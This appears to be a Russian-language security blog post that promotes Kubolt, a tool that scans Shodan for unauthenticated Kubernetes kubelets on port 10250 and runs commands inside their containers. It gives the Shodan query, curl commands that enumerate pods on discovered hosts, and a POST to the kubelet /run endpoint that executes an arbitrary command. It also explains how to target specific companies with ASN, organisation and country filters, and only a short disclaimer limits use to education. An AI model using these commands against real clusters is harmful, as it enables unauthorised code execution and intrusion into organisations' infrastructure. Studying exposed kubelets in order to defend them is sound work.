☸️ Kubolt — Утилита для сканирования открытых кластеров Kubernetes — Information Security Squad

☸️ Kubolt — Утилита для сканирования открытых кластеров Kubernetes

Kubolt — это простая утилита для сканирования общедоступных неутентифицированных кластеров kubernetes и запуска команд внутри контейнеров.

Зачем?

Иногда порт 10250 kubelet открыт для несанкционированного доступа и позволяет запускать команды внутри контейнеров, используя функцию getrun из kubelet:

// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
	params := getExecRequestParams(request)
	pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
	if !ok {
		response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
		return
	}

Как?

Хорошо, давайте спросим нашего друга Shodan : 👺

Основной запрос:

ssl:true port:10250 404

Kubelet использует порт 10250 с SSL по умолчанию, 404 — это HTTP-ответ без URL-пути.

Kubolt запрашивает у Shodan API список IP-адресов и сохраняет их для других действий OSINT 😁

Во-первых, давайте попросим Kubelet запустить pods и отфильтровать хосты, где ответ не содержит Unauthorized и содержит контейнер, чтобы мы могли запустить команду внутри него.

curl -k https://IP-from-Shodan:10250/runningpods/

В любом случае, если вы найдете хост без каких-либо запущенных модулей, сохраните его для следующего раза, когда модуль может быть запущен 😁

Вы можете перечислить все доступные модули из этих запросов:

 

curl -k https://IP-from-Shodan:10250/pods/
или
curl http://IP-from-Shodan:10255/pods/

Следующий kubolt анализирует ответ и генерирует новый запрос, как показано ниже:

curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
Вы можете более точно ориентироваться на компании, используя фильтры Shodan, такие как:
  • asn
  • org
  • country
  • net

Установка

mkdir output
pip install -r requirements.txt

Запуск

python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#или
python kubolt.py --query "org:'ACME Corporation' country:UK"

Shodan

Kubolt использует Shodan API и Query Credits соответственно.
Если вы запустите инструмент без фильтров запросов, вы, вероятно, запустите все свои кредиты ¯ \ _ (ツ) _ / ¯

Дэмо

demo

Важно

Инструмент, предоставленный автором, должен использоваться только в образовательных целях.
Автор не может нести ответственность за неправильное использование Инструмента.
Автор не несет ответственности за любой прямой или косвенный ущерб, вызванный использованием Инструмента.

¯\_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

cryptoparty

Cryptography is typically bypassed, not penetrated.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

5e7fa976b0640d40